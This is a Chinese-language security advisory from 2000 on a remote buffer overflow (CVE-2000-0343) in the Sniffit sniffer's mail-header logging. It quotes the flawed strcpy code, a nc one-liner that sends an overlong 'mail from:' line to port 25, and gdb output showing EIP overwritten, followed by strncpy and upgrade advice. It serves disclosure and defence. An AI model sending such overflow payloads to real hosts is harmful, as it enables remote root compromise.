Sniffit处理邮件头缓冲区溢出漏洞
发布日期:2000-05-03
更新日期:2000-05-03
受影响系统:Brecht Claerhout Sniffit 0.3.7beta
Brecht Claerhout Sniffit 0.3.6HIP
描述:
BUGTRAQ ID:
1158
CVE(CAN) ID:
CVE-2000-0343
Sniffit是一个常用的sniffer工具。可运行在多种Unix/Linux平台上。
它存在一个缓冲区溢出漏洞,可能导致攻击者远程获取root权限。
Sniffit在使用"-L mail"参数处理窃听到的邮件头("mail from:"和"rcpto to:")的时候,会将它们拷贝到一个固定大小的buffer中,导致可能发生溢出问题:问题处在下列两个地方:
if(strstr(workbuf1,"mail from")!=NULL)
{
char workbuf2[MTU];
strcpy(workbuf2, strstr(workbuf1,"mail from"));
和
if(strstr(workbuf1,"rcpt to")!=NULL)
{
char workbuf2[MTU];
strcpy(workbuf2, strstr(workbuf1,"rcpt to"));
...
当用户对局域网内任意主机的25端口发送包含超长"mail from:..."或者"rcpt to:..."内容的消息时,将会导致监听主机上的Sniffit发生溢出:
echo "mail from:`perl -e 'print "A"x300'`"|nc -vv HOSTNAME 25
在运行Sniffit的机器上用gdb跟踪得到的结果:
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) i all
eax: 0x0 0
ecx: 0x8057648 134575688
edx: 0x8057648 134575688
ebx: 0xbfff5b84 -1073783932
esp: 0xbfff47a4 -1073789020
ebp: 0x61616161 1633771873
esi: 0xbfff6f0c -1073778932
edi: 0xbfff6f0c -1073778932
eip: 0x61616161 1633771873
...
<*来源:FuSyS (
fusys@s0ftpj.org)
*>
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 修改sn_analyse.c,用strncpy代替strcpy,拷贝固定字节的内容到buffer中去。
厂商补丁:
Brecht Claerhout
----------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://reptile.rug.ac.be/~coder/sniffit/sniffit.html浏览次数:6569
严重程度:0(网友投票)